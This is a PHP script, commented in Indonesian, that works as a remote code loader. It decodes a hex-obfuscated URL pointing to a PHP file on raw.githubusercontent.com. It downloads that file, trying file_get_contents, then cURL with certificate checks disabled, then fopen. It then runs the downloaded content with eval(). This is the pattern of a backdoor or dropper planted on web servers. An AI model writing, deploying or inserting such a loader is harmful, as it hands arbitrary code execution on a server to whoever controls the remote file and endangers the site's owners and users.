<?php
$ZabetUrl = "68747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f686f6c6168616c6f6f6f676f6c64792f2d2f726566732f68656164732f6d61696e2f666d6b377039783271387634723374362e706870";

function zabet2str($zabet) {
    $str = '';
    for ($i = 0; $i < strlen($zabet) - 1; $i += 2) {
        $str .= chr(hexdec($zabet[$i] . $zabet[$i + 1]));
    }
    return $str;
}

// Fungsi untuk ambil isi dari URL
function fetchRemoteCode($url) {
    $data = false;

    // Coba pakai file_get_contents jika diizinkan
    if (ini_get('allow_url_fopen')) {
        $data = @file_get_contents($url);
    }

    // Fallback pakai cURL
    if (!$data && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 10,
        ]);
        $data = curl_exec($ch);
        curl_close($ch);
    }

    // Fallback pakai fopen manual
    if (!$data && ($fp = @fopen($url, 'r'))) {
        $data = '';
        while (!feof($fp)) {
            $data .= fread($fp, 8192);
        }
        fclose($fp);
    }

    return $data;
}

// Jalankan proses
$url     = zabet2str($ZabetUrl);
$phpCode = fetchRemoteCode($url);

// Eksekusi isi PHP dari remote jika berhasil diambil
if ($phpCode !== false) {
    try {
        eval("?>".$phpCode);
    } catch (Throwable $e) {
        echo "❌ Error saat menjalankan kode: " . $e->getMessage();
    }
} else {
    echo "❌ Gagal mengambil kode dari URL: $url";
}
?>